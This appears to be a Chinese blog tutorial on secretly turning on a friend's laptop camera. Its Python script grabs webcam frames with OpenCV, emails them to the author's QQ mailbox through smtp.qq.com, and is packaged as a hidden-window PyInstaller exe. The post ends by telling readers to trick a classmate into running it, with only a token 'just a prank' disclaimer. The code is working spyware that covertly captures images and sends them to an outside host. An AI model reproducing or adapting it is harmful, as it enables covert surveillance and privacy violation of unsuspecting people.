用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
Python实例分享:快速查找出被挂马的文件
Jun 08 Python
跟老齐学Python之Python安装
Sep 12 Python
Python基于pillow判断图片完整性的方法
Sep 18 Python
python爬虫之xpath的基本使用详解
Apr 18 Python
查看Django和flask版本的方法
May 14 Python
python检测IP地址变化并触发事件
Dec 26 Python
我喜欢你 抖音表白程序python版
Apr 07 Python
给我一面国旗 python帮你实现
Sep 30 Python
tensorflow实现在函数中用tf.Print输出中间值
Jan 21 Python
TensorFlow设置日志级别的几种方式小结
Feb 04 Python
pycharm快捷键汇总
Feb 14 Python
Django框架安装及项目创建过程解析
Sep 14 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
php zip文件解压类代码
2009/12/02 PHP
php基于socket实现SMTP发送邮件的方法
2015/03/05 PHP
PHP微信开发之模板消息回复
2016/06/24 PHP
PHP自动载入类文件函数__autoload的使用方法
2019/03/25 PHP
解决Laravel5.5下的toArray问题
2019/10/15 PHP
列表内容的选择
2006/06/30 Javascript
jquery 仿QQ校友的DIV模拟窗口效果源码
2010/03/24 Javascript
浅谈JavaScript中null和undefined
2015/07/09 Javascript
javascript实现下班倒计时效果的方法(可桌面通知)
2015/07/10 Javascript
JavaScript实现为input与textarea自定义hover,focus效果的方法
2015/08/21 Javascript
JS中用三种方式实现导航菜单中的二级下拉菜单
2016/10/31 Javascript
前端js弹出框组件使用方法
2020/08/24 Javascript
JavaScript实现的浏览器下载文件的方法
2017/08/09 Javascript
javascript实现最长公共子序列实例代码
2018/02/05 Javascript
详解在React里使用&quot;Vuex&quot;
2018/04/02 Javascript
vue实现验证码按钮倒计时功能
2018/04/10 Javascript
springMvc 前端用json的方式向后台传递对象数组方法
2018/08/07 Javascript
Vue封装的可编辑表格插件方法
2018/08/28 Javascript
解决vue中监听input只能输入数字及英文或者其他情况的问题
2018/08/30 Javascript
jQuery事件绑定和解绑、事件冒泡与阻止事件冒泡及弹出应用示例
2019/05/13 jQuery
Python GAE、Django导出Excel的方法
2008/11/24 Python
python实现的各种排序算法代码
2013/03/04 Python
python通过opencv实现批量剪切图片
2017/11/13 Python
解决pycharm回车之后不能换行或不能缩进的问题
2019/01/16 Python
PyTorch加载自己的数据集实例详解
2020/03/18 Python
python生成xml时规定dtd实例方法
2020/09/21 Python
python和node.js生成当前时间戳的示例
2020/09/29 Python
请用Python写一个获取用户输入数字,并根据数字大小输出不同信息的脚本
2014/05/20 面试题
大客户销售经理职责
2013/12/04 职场文书
后勤主管工作职责
2013/12/07 职场文书
感恩小明星事迹材料
2014/05/23 职场文书
软环境建设心得体会
2014/09/09 职场文书
2015年青年教师工作总结
2015/05/25 职场文书
感谢信的技巧及范例
2019/05/15 职场文书
关于nginx 实现jira反向代理的问题
2021/09/25 Servers
Java死锁的排查
2022/05/11 Java/Android